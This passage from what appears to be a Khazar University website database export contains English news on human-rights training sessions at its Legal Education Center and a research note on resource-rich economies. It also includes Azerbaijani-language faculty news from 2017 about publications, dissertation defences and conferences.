Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams. The participants of the training&nbsp;were students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Mehriban Zeynalova, Chairman of the “Clean World” Social Cohesion,&nbsp;talked about “Women’s Rights”.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Khazar Student Receives Certificate from White House</em></strong><strong style=\"color:#330066\"><em></em></strong>&nbsp;</p><p>On March 5<sup>th</sup>, 2014, Miragha Baghirov, first-year student of the School of Humanities and Social Sciences took first place in the \"Portrait of Khojaly Massacre” contest and received a Certificate of Appreciation from the Administration of International Relations of the White House, Washington, DC.M. Baghirov created a picture which showed a one-year-old child saying \"This year I might celebrate my 22nd birthday. But I\'m not here.” For several hours, this picture was shown in the news feed of the White House website. Khazar University appreciates Miragha Baghirov’s patriotism and congratulates him for this success.<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Weekly Training at Khazar University Legal Education Center</em></strong><strong><em></em></strong>&nbsp;</p><p>On March 1, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams. The participants of the training&nbsp;were students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Nazir Guliyev, Chairman of the&nbsp;“World of&nbsp;<em>Law</em>”&nbsp;<em>Legal&nbsp;</em>Promotion Public Union,&nbsp;talked about Children’s Rights.</p><p><br>\r\n<strong><em style=\"color:#330066\">Weekly training at Khazar University Legal Education Center</em></strong>&nbsp;</p><p>On February 22, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams. The participants of the training are students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Ramil Iskandarli, Chief of Party at “Azerbaijan Rights Consortium” project, led a training on Human Rights and Business.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Legal Education Center Conducted Training on Anti- Corruption Legislation and Human Rights</em></strong>&nbsp;</p><p>On February 9, Khazar University Legal Education Center conducted a 1-day training course on Anti-Corruption Legislation and Human Rights. &nbsp;During the training, the legal definition of corruption, its causes and consequences were discussed. Anti-Corruption legislation in Azerbaijan and its implementation as well as International Organizations working on transparency issues were introduced in the training. The participants were also given an opportunity to analyze cases on best international practices of various countries. The participants of the training were students of Khazar University, National Aviation Academy, the&nbsp;Academy of Public Administration under the President of the Republic of Azerbaijan, Police Academy and legal&nbsp;practitioners. The training was led by Seljan Mammadli, who earned her LL.M. degree from&nbsp;Ohio<em>&nbsp;</em>Northern University, USA, in 2005.&nbsp;She works as a&nbsp;legal counsel at&nbsp;Karasu<em>&nbsp;</em>Operating Company (Global Energy Azerbaijan). She is also a PhD student at Baku State University.At the end of the training, the participants were awarded certificates.</p><p><br>\r\n<strong style=\"color:#330066\"><em>Weekly training at Khazar University Legal Education Center</em></strong>&nbsp;</p><p>On February 8, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams. The participants of the training are students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Ramil Iskandarli, Chief of Party at “Azerbaijan Rights Consortium” project, led a training on the Rights of the Refugees and Internally Displaced Persons (IDPs).<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Legal Education Center Conducts Seminar</em></strong>&nbsp;</p><p>On February 6, Khazar University Legal Education Center organized a seminar on the Procedure of the European Court of Human Rights. Students of Khazar University, Baku State University, and the Aviation Academy attended the seminar. The event&nbsp;was led by Konul Gasimova, expert on European Human Rights. Konul Gasimova previously worked in the European Court of Human Rights as a lawyer.<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Legal Education Center conducts training on Legal Writing and Analysis</em></strong>&nbsp;</p><p>On February 1-2, Khazar University Legal Education Center conducted a 2-day training course on Legal Writing and Analysis. &nbsp;The aim of the training was to develop key lawyering skills in law students and young lawyers such as analyzing facts, objective and persuasive legal writing, and drafting legal documents.<br>The training was led by Altay Mustafayev, who earned his LL.M. degree from the University of Washington School of Law (Seattle, USA) within the Edmund S. Muskie Graduate Fellowship Program in 2005.&nbsp;He is of counsel in Baker &amp; McKenzie\'s Baku office.&nbsp;He is also a member of both the Collegium of Advocates in Azerbaijan and New York Bar Association.At the end of the training, the participants were awarded certificates.<br>\r\n<strong><em><br></em></strong></p><p><strong><em style=\"color:#330066\">Legal Education Center hosts a judge of the Constitutional Court of Azerbaijan</em></strong>&nbsp;</p><p>On January 18, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams.&nbsp; The participants of the training are students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Jeyhun Garajayev, a judge of the&nbsp;Constitutional Court, delivered a lecture on “Court and constitutional control mechanism in the implementation of Human Rights.”<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Legal Education Center Hosts Disability Law Expert</em></strong>&nbsp;</p><p>On January 11, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams. The participants of the training are students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Elnur Eyvazov, expert on Disability Rights, delivered a lecture on “Implementation Mechanism of Disability Rights.” Elnur Eyvazov is a blind lawyer who earned three master\'s degrees in law from the prestigious Cambridge, Oxford and Columbia universities. &nbsp;He worked for J.P. Morgan Chase investment bank. He currently works as a lecturer at Azerbaijan Diplo</p>'),(4988,2908,'az','Tədqiqat','Tədqiqat','<p>Amid the collapse in global commodity prices, oil, gas and mineral-rich states have to adjust to the new realities of slow economic growth and declining fiscal revenues. In post-Soviet Eurasia, the authorities in resource-rich Russia, Kazakhstan and Azerbaijan had to revise their state budgets, cut public investment expenses and enact unpopular currency depreciations to respond to the worsening conditions in global commodity markets. The low commodity prices also reduced the incentives of foreign oil and mining companies to invest in these countries. The ongoing fall in commodity prices has raised the renewed interest in the impact of natural resources on the wellbeing and sustainable development of resource-rich nations. This has reinvigorated the debate about how the authorities in countries dependent on oil and minerals should address the external negative shocks and maintain fiscal balance.</p><p>More research on these topics will provide better evidence to help policymakers navigate through economic recession and will enrich the scholarly debate on the so called “resource curse”. It will also help civil society organizations (CSOs) get better prepared for evaluating government policy performance and advocating more effective alternative policy solutions. The availability and better communication of research outcomes can also improve the quality of print and online media coverage of falling oil prices and its consequences. This is key to ensure government accountability and enhance public debate.</p><p>However, while these new developments pose major policy challenges to decision makers in these countries, not enough policy-oriented research has been conducted to inform fiscal and monetary policy. There are two main reasons for this. First, there is a general neglect and under appreciation of the impact of research on actual policy. Second, the region lacks strong research capacity and skills especially among youths. As Eurasia’s leading capacity-building and research center on extractives, the Eurasia Regional Extractive Industries Knowledge Hub is currently implementing a strategy to address these needs and serve as a channel for offering policy advice to decision makers, generating research output and providing training courses on relevant research and data analytical skills to younger researchers from the Eurasian region.</p>'),(1903,1169,'az','Fakültə Xəbərləri','Fakültə Xəbərləri','<div><br></div><div><br></div><br><div><strong><em><img src=\"/files/image/faculty_new.jpg\" style=\"border:0px  #000000;width:350px;height:75px;margin:7px;float:left\"><br></em></strong></div><div><strong><em><br></em></strong></div><div><strong><em><br></em></strong></div><div><strong><em><br></em></strong></div><div style=\"text-align:left\"><strong><em><br></em></strong></div><div style=\"text-align:left\"><strong>YAZ-2017</strong></div><div style=\"text-align:left\"><strong><br></strong></div><div style=\"text-align:left\"><strong><br></strong></div><span style=\"color:#660066\"><p><strong><em style=\"color:#660066\">“Xəzər”in doktorantının tədqiqat işi Türkiyədə çap edildi</em></strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify;color:#000000\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi, universitetin doktorantı Validə Kərimovanın “Possibility of Foreign Languages in the Education System of Azerbaijan: Analysis of the Best Foreign Language among Students’in Higher Private Educational Institutions” (“Azərbaycanın təhsil sistemində xarici dil imkanı: özəl ali təhsil müəssisələrində tələbələr arasında ən yaxşı xarici dilin təhlili”) adlı tədqiqat işi Türkiyənin Sakarya şəhərində TOJQIH (The Online Journal of Quality in Higher Education) jurnalının iyul buraxılışında çap edilmişdir. Qeyd edək ki, müəllif eyni adlı məruzə ilə 2016-cı il noyabrın 24-25-də Sakaryada keçirilən beynəlxalq konfransda (ICQH 2016) çıxış etmişdir. Validə Kərimovanın tədqiqat işi 2015-2016-cı tədris ili müddətində Xəzər Universiteti və Qafqaz Universitetinin (hazırki Bakı Mühəndislik Universiteti) 301 tələbəsi arasında ən yaxşı xarici dilin təhlili mövzusunda aparılmış və iki özəl universitet tələbələri arasında ən yaxşı xarici dilin hansı olduğunu, xarici dili bilmə səviyyələrini müəyyənləşdirmişdir</span><span style=\"text-align:justify\">.</span></p>  <p><strong><em><br></em></strong></p><p><strong><em>“Fakültə\"nin departament müdirinə dosent diplomu verildi</em></strong></p><ul></ul><p style=\"color:#000000;text-align:justify\">2017-ci il iyulun 18-də Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi keçirildi. Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, fəlsəfə doktoru Muxtar Hacızadəyə də dosent diplomu verilmişdir.</p>  <p><em><strong><br></strong></em></p><p><em><strong>Kozminski Universitetinin Beynəlxalq Əlaqələr Şöbəsinin Direktoru Xəzər Universitetində</strong></em></p><p class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media24329139895267704\" width=\"150\" height=\"100\" style=\"text-align: justify; color: rgb(0, 0, 0);\">2017-ci il iyulun 10-14-də, Kozminski Universitetinin (Polşa, Varşava) Beynəlxalq Əlaqələr Şöbəsinin direktoru Valentina Guminska Xəzər Universitetində Erasmus+proqramı çərçivəsində mübadilə proqramında iştirak etdi.Mübadilənin əsas məqsədi Xəzər Universitetinin Beynəlxalq Əlaqələr Şöbəsinin və universitetin bir sıra digər departament və şöbələrinin işi ilə yaxından tanış olmaq idi. Həmin müddət ərzində Valentina Guminska Xəzər Universitetinin rektoru Hassan Niknafs, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, Karyera Mərkəzinin koordinatoru Fatma Ələkbərova, Biologiya departamentinin müdirii İradə Xəlilova, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, Siyasi elmlər və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və İngilis dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev ilə&nbsp;görüşdü.Qonağı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlı da qəbul etdi.Xəzər Universiteti ilə Kozminski Universiteti arasında Erasmus+ müqaviləsi 2015-ci ilin sonunda imzalanmışdır. O vaxtdan etibarən hər iki universitetin tələbə, akademik və inzibati heyəti mübadilədə iştirak etmişlər.</p><ul></ul><br>  <p class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media5445519318905969\" width=\"150\" height=\"100\"><em><strong>Humanitar və sosial elmlər fakültəsinin müəllimi fəlsəfə doktorluğu dissertasiyası müdafiə etdi</strong></em></p><p class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media5445519318905969\" width=\"150\" height=\"100\"><strong></strong></p><p style=\"color: rgb(0, 0, 0); text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2017-ci il iyulun 4-də AMEA-nın&nbsp;<a href=\"https://az.wikipedia.org/wiki/N%C9%99simi_ad%C4%B1na_Dil%C3%A7ilik_%C4%B0nstitutu\" title=\"Nəsimi adına Dilçilik İnstitutu\" style=\"color:#000000\">Nəsimi adına Dilçilik İnstitutunun</a>&nbsp;Müdafiə şurasında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin müəllimi,<strong> </strong>Odlar Yurdu Universitetinin doktorantı Elmira Əliyevanın “Tematik proqressiya və diskursun yaranması (Azərbaycan və ingilis dili materialları əsasında)” mövzusunda professor Əfqan Abdullayevin elmi rəhbərliyi ilə yazdığı filologiya üzrə fəlsəfə doktorluğu dissertasiyasının müdafiəsi keçirilmişdir.</p>\r\n<p style=\"color: rgb(0, 0, 0); text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İclasa Nəsimi adına Dilçilik İnstitutunun direktoru, AMEA-nın həqiqi üzvüMöhsün Nağısoylu sədrlik etmişdir. İclasın sonunda Müdafiə şurası Elmira Əliyevaya &nbsp;filologiya üzrə fəlsəfə doktoru elmi dərəcəsi &nbsp;verilməsi haqqında yekdil qərar qəbul etmişdir.&nbsp;</p><p style=\"color: rgb(0, 0, 0); text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p><strong><em style=\"color:#660066\">Elmi Şuranın cari dərs ilində son içlası keçirildi</em></strong></p><p style=\"text-align:justify;color:#000000\">2017-ci il iyulun 6-da Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet Elmi şurasının cari dərs ilində son iclası keçirildi. İclasın gündəliyinə əsasən rektor 2016-2017-ci tədris ilinin ümumi yekunları haqqında çıxış edərək, əldə olunmuş uğurlardan və qarşıda duran vəzifələrdən danışdı. O, həmçinin, ilin yekunlarına görə bir qrup əməkdaşın – Təmir-tikinti şöbəsinin işçisi Piri Piriyev, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Riyaziyyat departamentinin müəllimi Cavanşir Əzizov, Tarix və arxeologiya departamentinin müdiri Roza Arazova, İqtisadiyyat və menecment fakültəsi dekanının köməkçisi Samirə Mirzəyeva, İngilis dili və ədəbiyyatı departamentinin müəllimi Lidiya Həmidova, İnkişaf mərkəzinin direktoru Raziyə İsayeva və Azərbaycan dili və ədəbiyat departamentinin müdiri Vurğun Əyyubun təşəkkürnaməyə layiq görüldüyünü bildirdi və iştirak edənlərə təşəkkürnamələri təqdim etdi.&nbsp;Universitetin prorektoru Məhəmməd Nuriyev Məzunlarla iş üzrə mərkəzin direktoru Baba Bayramlının Elmi şuranın tərkibinə daxil edildiyi&nbsp;və şuranın elmi katibi təyin olunduğu haqqında məlumat verdi.&nbsp;Məzunluq haqqında fakültə dekanları Elza Səmədova, Cabir Xəlilov, Ceyhun Məmmədov və dekan müavini Vəfa Aslanovanın, dərs vəsaitlərinin və fənn proqramlarının çapa təqdim olunması haqqında Elmi Şuranın katibi Baba Bayramlının məlumatları dinlənildi və müvafiq qərarlar qəbul edildi.&nbsp;Elmi Şuranın iclasında universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, bir sıra məsələlərlə əlaqədar tövsiyələrini bildirdi. O, həmçinin, Direktorlar və Qəyyumlar Şurası sədrinin assistenti Sevda Salayevaya başqa işə keçməsi ilə əlaqədar uğurlar arzuladı və ona təşəkkürnamə təqdim etdi.&nbsp;Elmi Şuranın iclasında cari məsələlər də müzakirə olundu.</p>  <p style=\"text-align:justify\"><strong class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media6477597838941083\" width=\"150\" height=\"100\"><em><br></em></strong></p><p style=\"text-align:justify\"><strong class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/image/faculty_new.jpg\" rel=\"media14515933855797702\" width=\"150\" height=\"100\"><em>İngilis dili və ədəbiyyatı departamentində magistr müdafiəsi keçirildi</em></strong></p><p style=\"color: rgb(0, 0, 0); text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white;box-sizing:border-box\"\"=\"\">2017-ci il iyunun 20-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin magistr tələbələri Könül Mərdanova və Nuranə İsmayılovanın İngilis dili və ədəbiyyatı departamentində dissertasiya müdafiəsi keçirildi.&nbsp;Müdafiədə Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Azərbaycan Dövlət Dillər Universitetinin müəllimi İrina Orucova, Azərbaycan Dövlət Dillər Universitetinin müəllimi İradə Səmədova, İngilis dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev, Alt proqramlar üzrə koordinator Milana Abbasova, departamentin müəllimləri Cəmalə Məmmədova və Gülnar Abbasova iştirak etdilər.&nbsp;Müdafiə zamanı magistr tələbələr öz tədqiqat işləri haqqında ətraflı təqdimat etdilər və onlara verilən sualları cavablandırdılar.&nbsp;Hər iki tələbə müdafiəni uğurla edib magistr adına layiq görüldü.</p>  <p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi çap olundu</em></strong></p><p style=\"text-align:justify\"><span style=\"color:#000000\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi&nbsp;</span><span style=\"color:#000000\">Validə Kərimovanın</span><span style=\"color:#000000\">&nbsp;(doktorant) “Ədəbi-tənqidi mətndə estetik problematikanin fəaliyyətinin spesifikası” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Sumqayıt Dövlət Universitetinin “Elmi xəbərlər” jurnalının Sosial və humanitar elmlər bölməsinin 13-cü cildinin 2-cü buraxılışında çap edilmişdir. Məqalədə rus ədəbi tənqidində fəlsəfi-estetik problematikanın qismən məhz estetik problematika ilə uyğun gəlməsi, tənqidin əsas funksiyasını izahı, estetik problematikanın mətn reprezentasiyasının üsulları, konkret olaraq dahi şəxslərin və onların estetik doktrinalarının dərinliyi və konseptuallığına əsaslanan fikirlər geniş formada araşdırılmışdır. Məqalənin məqsədi ədəbi-tənqidin indi ümumiləşdirici funksiya daşıyıb, estetik problematıkanın nə qədər aşkar və məqsədyönlü olmasını təqdim etməkdir.</span></p><ul></ul><br>  <p><strong><em>Mələk Kərimovanın məqaləsi çap olundu</em></strong></p><p style=\"color:#000000;text-align:justify\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimovanın (doktorant) “İncəsənət terapiyası” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Sumqayıt Dövlət Universitetinin “Elmi xəbərlər” jurnalının Sosial və humanitar elmlər bölməsinin 13-cü cildinin 2-cü buraxılışında çap edilmişdir. Məqalədə incəsənətin psixologiyada necə əks olunmasından, incəsənət terapiyasının əsas məqsədindən, incəsənət terapiyasındakı vasitələrdən, incəsənət terapiyasının tarixi keçmişindən, incəsənət terapiyası sahəsində mütəxəssis hazırlığının zəruriliyindən bəhs edilmişdir.</p><p><strong><em><br></em></strong></p><p><strong><em>Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi çap olundu</em></strong></p><p style=\"color:#000000;text-align:justify\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “N.Çomskinin dil təliminin məziyyətləri. Dilin yaradıcı olması” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Dillər Universitetinin “Elmi xəbərlər” jurnalının 2-ci cildinin 3-cü buraxılışında çap edilmişdir. Məqalədə N.Çomskinin dilçilik aləmində böyük əks-sədaya səbəb olmuş ideyaları, dilçilik elmində əvəzsiz görüşləri araşdırılmış, bu alimin elmi nəzəriyyəsinin dünya dilçiliyinə, eləcə də, fəlsəfə, məntiq, psixologiya kimi elm sahələrinə təsiri barədə müzakirə edilmişdir. Beləliklə, tədqiqat işinin qarşısında duran əsas vəzifə N.Çomskinin dilçilik görüşlərinin mahiyyətini açıb göstərməkdən ibarət olmuşdur.</p><p style=\"color:#000000;text-align:justify\"><br></p><p><strong><em>Fakültə&nbsp;əməkdaşımızın məqaləsi çap olundu</em></strong></p><h5><ul></ul></h5><p style=\"text-align:justify;color:#000000\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimovanın (doktorant) Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Bakı Dövlət Universitetinin Psixologiya jurnalının 1-ci buraxılışındaməqaləsi çap edilmişdir. Məqalədə&nbsp;uşaq və yeniyetmələrdə internet asılılığının təyini ilə əlaqədar testin Azərbaycan mühitinə uyğunlaşdırılması zərurəti və metodunun ətraflı şərhinə yer verilmişdir. &nbsp;</p>  <p><em><strong><br></strong></em></p><p><em><strong>İngilis dili və ədəbiyyatı departamenti&nbsp;əməkdaşımız<em><strong>ı</strong></em>n məqaləsi çap olundu</strong></em></p><h5><ul></ul></h5><p style=\"color:#000000;text-align:justify\">Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin Alt proqramlar üzrə koordinatoru Milana Abbasovanın (doktorant) “Anqlisizmlər Azərbaycan Kütləvi İnformasiya vasitələrində<em>”</em>&nbsp;adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Dillər Universitetinin “Azərbaycanda xarici dillər” jurnalının 2016 ci il 4-cü buraxılışında çap edilmişdir. Məqalədə qloballaşan ingilis dilindən, Azərbaycan kütləvi informasiya vasitələrinə anqlisizmin təsirindən, anqlisizmin əksər həyat sferalarında əsasən də kütləvi informasiya vasitələrindəki yerindən bəhs edilir. Tədqiqatın araşdırma obyekti “525-ci qəzet”dir.</p>  <p><em><strong><br></strong></em></p><p><em><strong>Jurnalistika departamenti&nbsp;əməkdaşımızın doktorluq dissertasiyasının müzakirəsi keçirildi</strong></em></p><h5><ul></ul></h5><p style=\"text-align:justify;color:#000000\">2017-ci il mayın 19-da Xəzər Universitetinin əməkdaşı, AMEA Fəlsəfə İnstitutunun doktorantı Cabir Oruc oğlu Məmmədovun “Estetikada faciəvilik problemi” mövzusunda (İxtisas: 7211.01–Estetika) yazdığı fəlsəfə üzrə fəlsəfə doktorluğu dissertasiyasının ilkin müzakirəsi keçirildi. İclasa sədrliyi Fəlsəfə İnstitutunun direktoru fəlsəfə üzrə elmlər doktoru, professor İlham Məmmədzadə edirdi.</p>  <p><strong><em><br></em></strong></p><p><strong><em>Psixologiya departamentinin magistrları dissertasiya müdafiə etdilər</em></strong></p><h5><ul></ul></h5><p style=\"text-align:justify\"><span style=\"color:#000000\">2</span><span style=\"color:#000000\"><span style=\"color:#000000\">017</span>-ci il mayın 18-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin magistrları aşağıdakı mövzularda dissertasiya müdafiə etdilər: Günay Məmmədova – “Ağır psixi pozuntusu olan xəstələrin psixososial reabilitasiyasının qiymətləndirilməsi” (elmi rəhbər: tibb e.f.d. Fuad İsmayılov); Günel Məmmədova – “Natamam ailələrdə böyüyən yeniyetmələrdə şəxsiyyət pozuntuları problemi və onların reabilitasiya məsələləri” (elmi rəhbər: fəl.e.f.d. Eldar Shahgaldiyev); Tərlan Qənbərova – “Autizimli uşaqların valideynlərində rast gəlinən psixopotoloji xüsusiyyətlərin aşkarlanması və eksperimental tədqiqi” (elmi rəhbər: tibb e.ü.f.d. İkram Rüstəmov). Müdafiədə Şurasının sədri fəl.ü.f.d. Eldar Şahgəldiyev, üzvləri olaraq hüquq ü.f.d., dos. Cabir Xəlilov, AR-nın Ədliyyə Nazirliyi Penitensiar xidmətinin aparıcı psixoloqu, psixologiya ü.f.d. Ləman Verdiyeva, Humanitar və sosial elmlər fakültəsinin dekan müavini, sosial fəlsəfə üzrə doktorant Mələk Kərimova, Tibb Universiteti psixiatriya kafedrasının assistenti, ATU-nun Tədris terapevtik klinikası Uşaq Psixi Sağlamlıq və İnkişaf Mərkəzində aparıcı mütəxəssis tibb e.ü.f.d. İkram Rüstəmov və şuranın elmi katibi Humanitar və sosial elmlər fakültəsinin dekan köməkçisi, german dilləri üzrə doktorant Validə Kərimova iştirak etdilər.İşlər Müdafiə Şurası tərəfindən müsbət qiymətləndirildi.</span></p><p><strong><em><br></em></strong></p><p><strong><em>Fakültə əməkdaşımız Ordu Universitetində çıxış etdi</em></strong></p><ul></ul><p style=\"text-align:justify;color:#000000\">2017-ci il mayın 11-də Türkiyənin Ordu Universiteti və EAB (Eğitim Araştırmaları Birliği) tərəfindən təşkil edilən 9-cu Beynəlxalq Təhsil Tədqiqatları konfransında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova “Azərbaycan universitet tələbələrinin internet asılılığı və psixoloji simptomları arasında əlaqə” adlı tədqiqat işi ilə çıxış etdi. Tədqiqat işində universitet tələbələri arasında keçirilmiş və internet asılılığı ilə müxtəlif alt şkalalar (somatizasiya, obsesiya, depresiya, anksiyetə, fobiya, paranoya, psixotizm, şəxsiyyətlərarası kimi) arasında əlaqə araşdırılmışdır. Məruzə böyük maraq doğurdu və mədəniyyətlərarası tədqiqatların aparılması ilə əlaqədar təkliflər verildi.Sonda məruzəçi Mələk Kərimovaya sertifikat və məruzələrin çap edildiyi kitab verildi.Qeyd edək ki, mayın 11-dən 14-dək Türkiyənin Ordu şəhərində Ordu Universiteti və EAB (Eğitim Araştırmaları Birliği) tərəfindən təşkil edilən 9-cu Beynəlxalq Təhsil Tədqiqatları konfransında 12 ölkədən 1254 tədqiqatçı iştirak edirdi.&nbsp;</p>  <p><br></p><p><strong><em><strong><em>Fakültə&nbsp;əməkdaşımız</em></strong> beynəlxalq konfransda çıxış etdi</em></strong></p><h5><ul></ul></h5><p style=\"text-align:justify\"><span style=\"color:#000000\">2017-ci il mayın 13-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova Türkiyənin Çanakkale şəhərində Rating Academia və Kəpəz Bələdiyyəsi tərəfindən Beynəlxalq “Elm, Mədəniyyət və Gözəli Axtarış” adlı konfransda “Sənətkarlar və onların şəxsi psixoloji xüsusiyyətləri” adlı tezis ilə çıxış etdi. Tədqiqatda incəsənət, incəsənət xadimlərinin şəxsi keyfiyyətləri, incəsənətin şəxsiyyətə və şəxsi keyfiyyətlərin də incəsənət əsərlərində əks olunmasına dair verilən milli nümunələr konfrans iştirakçıları tərəfindən rəğbətlə qarşılandı.Qeyd edək ki, mayın 11-dən 13-dək Türkiyənin Çanakkale şəhərində Rating Academia və Kəpəz Bələdiyyəsi tərəfindən Beynəlxalq “Elm, Mədəniyyət və Gözəli Axtarış” adlı konfrans keçirilirdi.Sonda məruzəçi Mələk Kərimovaya sertifikat verildi</span>.</p>  <p><strong><em><br></em></strong></p><p><strong><em>Universitet əməkdaşları Respublika Elmi-Praktiki konfransında çıxış etdilər</em></strong></p><ul></ul><p style=\"text-align:justify;color:#000000\">2017-ci il mayın 11-i və 12-də Azərbaycan Respublikası Təhsil Nazirliyi və Azərbaycan Dillər Universitetinin birgə əməkdaşlığı ilə Azərbaycan Dillər Universitetinin yaranmasının 80 illiyinə həsr edilmiş “Xarici dillərin tədrisinin aktual problemləri” mövzusunda keçirilən Respublika elmi-praktiki konfransında Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentinin müəllimləri İrina Orucova, Elmira Əliyeva, Zamirə Qurbanova (doktorant), Gülnaz Novruzzadə (doktorant), həmin departamentin minor proqramlar üzrə koordinatoru Milana Abbasova (doktorant) və Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimova 